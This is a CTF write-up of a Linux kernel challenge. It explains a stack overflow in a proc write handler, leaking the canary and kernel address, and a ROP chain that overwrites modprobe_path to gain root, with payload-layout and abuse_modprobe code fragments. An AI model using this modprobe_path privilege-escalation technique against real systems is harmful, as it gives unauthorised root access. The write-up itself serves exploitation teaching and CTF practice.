mount -t proc none /proc mount -t sysfs none /sys mount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/ctf #for f in $(ls *.ko); do # insmod $f #done sysctl -w kernel.perf_event_paranoid=1
cat <<EOF Boot took $(cut -d' ' -f1 /proc/uptime) seconds Welcome to the lost and found store! Please look around to see if you can find the key to the flag. EOF mkdir /home/user adduser user -D chmod 600 /flag chown 0.0 /flag insmod thejumps.ko su user #exec su -l ctf
When open the proc, there is a stack buffer overflow in the write function. We can leak the kernel address and the canary with read then write to control the rip. After control the rip use gadget like mov qword ptr to write the modprobe_path and do modprobe attack to get the flag.
Solution
To get started, i copy the run.sh debug.sh and change a bit of the configuration so it will be more easier to run the exploit.
Also to easier analyzing i’m going to use gdb gef-kernel by bata24. To faster run gdb i will make short script to run gdb to connect the kernel running.
Usually when starting kernel explotation we need to leak the kernel address but since the chall giving us nokaslr, we don’t need to leak the address but for dynamic incase the server run kaslr i will giving brief how to bypass kaslr too. To leaking the kernel address and the canary, we can do this by open and read the file.
1 2 3 4 5 6
int fd = open(DEV_PATH, O_RDWR); if (fd < 0) error("[-] Failed fd open");
The canary usually end with 00 and the kernel address around 0xffffffff81000000. So we can guess the canary at index 19 and for the kernel address we can choose any idx that start with 0xffffffff8XXXXXX. For calculating the offset we can use xinfo command in the gdb-gef.
If you remember the write func in the proc has buffer overflow because of the memcopy from the proc_data to v7.
Lets now try if we can touch the the rip. From the result i found that canary offset is at 4 which is 0x28 and we can see after placing the canary the RIP is now our buffer.
After that i tried doing kernel commit creds to escalate root but for some reason it call the commit creds 2 times. So i decided to go for modprobing.
To do the modprobing attack, i followed this guide where it explain the basic stack kernel exploitation to escalate root.
First we need to find the modprobe_path address and the gadget for writing the modprobe_path. To find the modprobe_path address we can use /proc/kallsyms but i use the feature in gdb gef-kernel kmagic command.
For the gadget i use ROPgadgets and grep to filter out the gadget available. I chose rax and rdi because they feel the most convenient for me. It can be any register as long sastify the mov qword ptr.
After preparing all the gadgets i notice that the kernel don’t have /tmp directory and we can’t create it. But we our /home/user directory where we can create file. So i decided to use /home/user directory for modprobing attack.
To do this modprobing attack we need to make modprobe_path value to our executable script location so for this example i will use /home/user/w. Since mov qword ptr only write 8 byte, we need to call it 2 times.
Don’t forget after finish write /home/user/w to modprobe_path we need to return to user mode using swapgs_restore_regs_and_return_to_usermode and also savestate before running the payload.
1 2 3 4 5 6 7 8 9 10 11
payload[canary_idx++] = swapgs_restore_regs_and_return_to_usermode + 22; payload[canary_idx++] = 0; //pop from the return usermode payload[canary_idx++] = 0; //pop from the return usermode payload[canary_idx++] = 0x4141414141414141; payload[canary_idx++] = user_cs; payload[canary_idx++] = user_rflags; payload[canary_idx++] = user_sp; payload[canary_idx++] = user_ss;
If we see the modprobe_path value currently is /home/user/w our execute script.
Finally, we can create a function to abuse modprobe_path. I used the function from the guide before and made a few adjustments so it works with /home/user
voidabuse_modprobe() { puts("[+] Hello from user land!"); if (stat("/home/user", &st) == -1) { puts("[*] Creating /home/user"); int ret = mkdir("/home/user", S_IRWXU); if (ret == -1) { puts("[!] Failed"); exit(-1); } }
puts("[*] Setting up reading '/flag' as non-root user..."); FILE *fptr = fopen(win_condition, "w"); if (!fptr) { puts("[!] Failed to open win condition"); exit(-1); }
if (fputs(arb_exec, fptr) == EOF) { puts("[!] Failed to write win condition"); exit(-1); }
fclose(fptr);
if (chmod(win_condition, S_IXUSR) < 0) { puts("[!] Failed to chmod win condition"); exit(-1); }; puts("[+] Wrote win condition -> /home/user/w"); fptr = fopen(dummy_file, "w"); if (!fptr) { puts("[!] Failed to open dummy file"); exit(-1); }
puts("[*] Writing dummy file..."); if (fputs("\x37\x13\x42\x42", fptr) == EOF) { puts("[!] Failed to write dummy file"); exit(-1); } fclose(fptr); if (chmod(dummy_file, S_ISUID|S_IXUSR) < 0) { puts("[!] Failed to chmod win condition"); exit(-1); }; puts("[+] Wrote modprobe trigger -> /home/user/d");
puts("[*] Triggering modprobe by executing /home/user/d"); execv(dummy_file, NULL);
puts("[?] Hopefully GG"); fptr = fopen(res, "r"); if (!fptr) { puts("[!] Failed to open results file"); exit(-1); } char *line = NULL; size_t len = 0; for (int i = 0; i < 8; i++) { uint64_t read = getline(&line, &len, fptr); printf("%s", line); }
fclose(fptr); }
1 2 3 4
... //After the pop 2 times payload[canary_idx++] = (uint64_t)abuse_modprobe; payload[canary_idx++] = user_cs; ...